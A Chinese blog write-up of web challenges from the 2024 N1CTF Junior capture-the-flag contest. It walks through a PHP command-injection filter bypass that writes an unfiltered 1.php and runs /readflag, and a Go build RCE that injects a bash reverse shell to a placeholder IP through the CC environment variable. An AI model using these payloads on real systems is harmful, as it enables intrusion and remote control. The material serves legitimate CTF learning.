目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. ezminio (Unsolved)
    2. 2.2. zako
    3. 2.3. MyGo (复现)
    4. 2.4. Derby (Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

第二届 N1CTF Junior

2024/2/3 CTF线上赛
  |     |   总文章阅读量:

前言

“求求你再给点hint吧,我什么都不会做的😭”

”你这个人,真是满脑子都想着自己呢“

wp:

X1r0z:https://exp10it.io/2024/02/n1ctf-junior-2024-web-official-writeup/

大B哥:https://boogipop.com/2024/02/05/2024%20N1CTF%20Junior%20Web%20Writeup/

Web

ezminio (Unsolved)

MinIO rce

由题目名称可知靶机是MinIO服务

访问靶机会被重定向到其他页面

抓包发现是307重定向跳转

关于MinIO有p神的CVE-2021-21287 SSRF:https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html

还有CVE-2023-28432 RCE:https://exp10it.io/2023/05/minio-cve-2023-28432-%E8%87%AA%E6%9B%B4%E6%96%B0-rce-%E5%88%86%E6%9E%90

hint让我们参考rce,找个没校验的版本降级


zako

linux命令执行

PHP版本7.4.27

<?php

//something hide here


$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
    die("no, > 70");
}
    die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

传参?_[secret.xswl.io=ls /,可以发现flag就在根目录下且有readflag

当前目录只有index.php和execute.sh

可以访问execute.sh下载下来

#!/bin/bash

reject(){
    echo ${1}
    exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" \
'BEGIN{
    deny="`;&$(){}[]!@#$%^&*-";
    for(i = 1; i <= length(str); i++){
        char = substr(str, i, 1);

        for(x = 1; x < length(deny)+1; x++){
            r = substr(deny, x, 1);
            if(char == r) exit 1;
        }
    }
}'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=`echo "${XXXCMD}" | awk -F "|" \
'BEGIN{
    allows[1] = "ls";
    allows[2] = "makabaka";
    allows[3] = "whoareu";
    allows[4] = "cut~no";
    allows[5] = "grep";
    allows[6] = "wc";
    allows[7] = "杂鱼❤~杂鱼❤~";
    allows[8] = "netstat.jpg";
    allows[9] = "awsl";
    allows[10] = "dmesg";
    allows[11] = "xswl";
}{
    num=1;
    for(i=1; i<=NF; i++){
        for(x=1; x<=length(allows); x++){
            cmpstr = substr($i, 1, length(allows[x]));
            if(cmpstr == allows[x])
                eval_cmd[num++] = $i;
        }
    }
}END{
    for(i=1; i<=length(eval_cmd); i++) {
        if(i!=1)
            printf "| %s", eval_cmd[i];
        else
            printf "%s", eval_cmd[i];
    }
}'`

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"


eval ${eval_cmd}

可以看到除了ls之外还给我们留了个grep来读取文件

尝试读flag读不了

grep "" /f???

猜测权限不足,那我们还是得执行根目录下的readflag

尝试读index.php

grep "" inde?????
<?php

//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));


$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
    die("no, > 70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute)/is", $cmd)){
    die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

接下来先看看我们可用的命令

ls,grep,wc,dmesg

  • wc:统计文件中字符、单词和行数
  • dmesg:显示和控制内核环缓冲区

index.php这里ban的东西有点多,命令注入不了,不过没ban掉写入文件的>

所以我们可以利用grep匹配的特性再写一个没有waf的1.php

grep "<?php" inde????? >> 1.php
grep "REQUEST" inde????? >> 1.php
grep "system" inde????? >> 1.php

则此时的1.php为

<?php
$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");

这个时候就可以用',于是注入我们的命令就行了

/1.php?_[secret.xswl.io=ls'|/readflag'

image-20240203202529469


MyGo (复现)

go build 环境变量注入 RCE

package main

import (
	"embed"
	"fmt"
	"github.com/gin-gonic/gin"
	"net/http"
	"os"
	"os/exec"
)

//go:embed public/*
var fs embed.FS

func IndexHandler(c *gin.Context) {
	c.FileFromFS("public/", http.FS(fs))
}

func BuildHandler(c *gin.Context) {
	var req map[string]interface{}

	if err := c.ShouldBindJSON(&req); err != nil {
		c.JSON(http.StatusOK, gin.H{"error": "Invalid request"})
		return
	}

	if !PathExists("/tmp/build/") {
		os.Mkdir("/tmp/build/", 0755)
	}

	defer os.Remove("/tmp/build/main.go")
	defer os.Remove("/tmp/build/main")

	os.Chdir("/tmp/build/")
	os.WriteFile("main.go", []byte(req["code"].(string)), 0644)
	var env []string

	for k, v := range req["env"].(map[string]interface{}) {
		env = append(env, fmt.Sprintf("%s=%s", k, v))
	}

	cmd := exec.Command("go", "build", "-o", "main", "main.go")
	cmd.Env = append(os.Environ(), env...)

	if err := cmd.Run(); err != nil {
		c.JSON(http.StatusOK, gin.H{"error": "Build error"})
	} else {
		c.File("/tmp/build/main")
	}
}

func PathExists(p string) bool {
	_, err := os.Stat(p)
	if err == nil {
		return true
	}
	if os.IsNotExist(err) {
		return false
	}
	return false
}

func main() {
	r := gin.Default()
	r.GET("/", IndexHandler)
	r.POST("/build", BuildHandler)
	r.Run(":8000")
}

作用是起一个go的编译环境

image-20240205224651138

审计一下代码,主要的核心部分在这里

var env []string

for k, v := range req["env"].(map[string]interface{}) {
	env = append(env, fmt.Sprintf("%s=%s", k, v))
}

cmd := exec.Command("go", "build", "-o", "main", "main.go")
cmd.Env = append(os.Environ(), env...)

遍历请求中的env字段,然后添加到变量env中,接着和编译时的环境变量拼到一起

看到环境变量注入第一反应会想到p神的那篇环境变量注入执行任意命令:https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

<?php
foreach($_REQUEST['envs'] as $key => $val) {
    putenv("{$key}={$val}");
}
//... 一些其他代码
system('echo hello');
?>

emm…然而并不行

php 的 system 调用的是系统的popen(),实际执行的命令是sh -c "echo hello"

而题目中的命令直接使用exec.Command("go", "build", "-o", "main", "main.go")运行,即直接执行了go build -o main main.go,不存在Bash上下文,也就不存在Bash环境变量

所以只能从go build命令本身所使用的环境变量入手,寻找命令注入的点

go命令的相关环境变量可以直接用go env

GO111MODULE=''
GOARCH='amd64'
GOBIN=''
GOCACHE='/root/.cache/go-build'
GOENV='/root/.config/go/env'
GOEXE=''
GOEXPERIMENT=''
GOFLAGS=''
GOHOSTARCH='amd64'
GOHOSTOS='linux'
GOINSECURE=''
GOMODCACHE='/go/pkg/mod'
GONOPROXY=''
GONOSUMDB=''
GOOS='linux'
GOPATH='/go'
GOPRIVATE=''
GOPROXY='https://proxy.golang.org,direct'
GOROOT='/usr/local/go'
GOSUMDB='sum.golang.org'
GOTMPDIR=''
GOTOOLCHAIN='local'
GOTOOLDIR='/usr/local/go/pkg/tool/linux_amd64'
GOVCS=''
GOVERSION='go1.21.6'
GCCGO='gccgo'
GOAMD64='v1'
AR='ar'
CC='gcc'
CXX='g++'
CGO_ENABLED='1'
GOMOD='/dev/null'
GOWORK=''
CGO_CFLAGS='-O2 -g'
CGO_CPPFLAGS=''
CGO_CXXFLAGS='-O2 -g'
CGO_FFLAGS='-O2 -g'
CGO_LDFLAGS='-O2 -g'
PKG_CONFIG='pkg-config'
GOGCCFLAGS='-fPIC -m64 -pthread -Wl,--no-gc-sections -fmessage-length=0 -ffile-prefix-map=/tmp/go-build532136062=/tmp/go-build -gno-record-gcc-switches'

环境变量的作用可以翻一下官方文档:https://pkg.go.dev/cmd/go#hdr-Environment_variables

其中 CC 的解释是:The command to use to compile C code.

用于编译C代码的命令,在我们的环境变量里这个值是 gcc ,即我们正常的c语言编译指令

直接在它给的docker环境里面测试一下

写一个main.go

package main

// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//		return f();
// }
//
// int fortytwo()
// {
//	    return 42;
// }
import "C"
import "fmt"

func main() {
	f := C.intFunc(C.fortytwo)
	fmt.Println(int(C.bridge_int_func(f)))
}

image-20240205230231856

这样子是正常编译,但是如果我们修改一下环境变量会怎样

CC='whoami' go build -o main main.go

image-20240205230900462

报错了,说明编译的命令被替换成 whoami 了,测试一下命令注入

CC='bash -c "whoami"' go build -o main main.go

image-20240205231115679

成功执行命令

因为出网所以直接弹shell就行,接下来直接打入我们的payload(记得要开CGO)

{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
"CC":"bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/14723 0>&1'"
},"code":"package main\n\n// typedef int (*intFunc) ();\n//\n// int\n// bridge_int_func(intFunc f)\n// {\n//\t\treturn f();\n// }\n//\n// int fortytwo()\n// {\n//\t    return 42;\n// }\nimport \"C\"\nimport \"fmt\"\n\nfunc main() {\n\tf := C.intFunc(C.fortytwo)\n\tfmt.Println(int(C.bridge_int_func(f)))\n}"}

image-20240205231611019

image-20240205231752915


Derby (Unsolved)

Druid 绕过高版本 JDK 打 Derby RCE

参考:

https://xz.aliyun.com/t/10656

https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/Apache-Derby/index.md